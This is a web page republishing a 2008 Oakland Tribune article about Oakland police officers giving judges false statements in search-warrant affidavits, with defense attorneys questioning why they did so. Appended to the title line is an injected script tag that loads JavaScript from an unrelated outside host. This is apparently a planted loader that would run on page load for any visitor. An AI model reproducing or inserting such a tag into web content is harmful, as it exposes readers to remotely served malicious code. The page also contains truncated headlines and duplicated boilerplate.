NEWS > 14 October 2008

Article sourced from

Oakland Police Department, CA<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Oakland Tribune - Oakland,CA,U
14 October 2008

This article appeared in the above title/site.
To view it in its entirity click this link.

Oakland Police Department, CA

Oakland officers didn't need t

As the Oakland Police Department continued its internal investigation into how and why officers ended up giving judges false statements on affidavits to obtain search warrants, those in the defense community wondered why the police didn't just give other reasons for why the warrants were needed.

Many defense attorneys the Tribune spoke with agreed that officers could have secured search warrants to raid homes of suspected drug dealers without proof the substances they bought during undercover operations actually were drugs.

Attorneys were puzzled as to why officers would risk a search warrant being made invalid with erroneous statements, especially considering the police routinely win the right to search a person's home even without proof that an undercover buy involved drugs.

"Judges pretty commonly sign warrants so long as the officer is honest," said Scott Sugarman, a San Francisco defense attorney. "The police are usually going to get what they want."

"From my side of the fence, they have all the resources and all the power," said Deborah Levy, a defense attorney who has been practicing for 28 years. "If they just did it right, they would be fine."

Absent drug tests on substances purchased by an informant or during undercover operations, officers could cite their experience to prove a substance was a drug, attorneys said. They could also cite observations they made of a suspected drug house such as high traffic or known users and dealers leaving or entering the home.

Furthermore, many said, there does not appear to be a reasonable explanation as to why officers didn't just send a substance to the crime lab for testing.

In many of the questionable warrants sent to the Alameda County Public Defender's Office last week, it took an officer 72 hours after a controlled buy took place to go before a judge for a warrant. It then took about week after the warrant was issued for a search of a home to take place.

The crime lab generally is able to test a substance within a day.

As a result, many of the attorneys said, it does not appear speed was a concern for officers seeking the warrants.

"There is not legitimate law enforcement reason to do this, there is no rational reason to do this," said Ray Keller, assistant public defender.

And, given that all the warrants in question focus on small-time drug dealers, attorneys said police probably would get multiple chances to make arrests if they could not secure a search warrant during their first request.

"I just don't understand it," Levy said. "If you can't make the case this time, you can probably get this person the next time."

Many blamed a culture among the department's rank-and-file which places the end results, an arrest, before making sure a legal process was followed.

"They are rationalizing that this stuff really turns out to be drugs so they say, 'its OK,'" said Robert Beles, an Oakland-based defense attorney. "But you have to hold the police to a high standard.

"If you overlook this type of misconduct you are inviting more abuses and more dishonesty," he said.

The warrant controversy already has resulted in one criminal case being dismissed. On Oct. 6, the Alameda County District Attorney's Office requested that criminal charges filed against Reginald Oliver be dismissed because the warrant used to recover evidence in his case was illegal. Oliver was arrested in March of 2008 and charged with being a felon in possession of ammunition.

While giving a judge untruthful information for a search warrant might not appear to be on the same level as say beating a suspect, attorneys said the violation should be taken as seriously.

"Executing a search warrant on someone's home is the most intrusive thing that society allows police to do," Keller said. "Typically, it is done by eight to 15 or more cops descending on somebody's house or apartment, using a battering ram to destroy the front door, going into the house with their guns drawn and handcuffing everybody that they can find.

"Then, they essentially turn the place upside down and when they leave, there is nobody there to repair the damage."

Keller and others said that even if officers made mistakes unknowingly, as both the Police Department and District Attorney Tom Orloff has implied, the issue is not one that should just blow over.

"This is a pretty crucial area, the invasion of people's houses is serious," Beles said. "I wouldn't say this is a lightweight concern."

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Oakland Tribune - Oakland,CA,U14 October 2008

Oakland officers didn't need t

EiP Comments:

Oakland Tribune - Oakland,CA,U
14 October 2008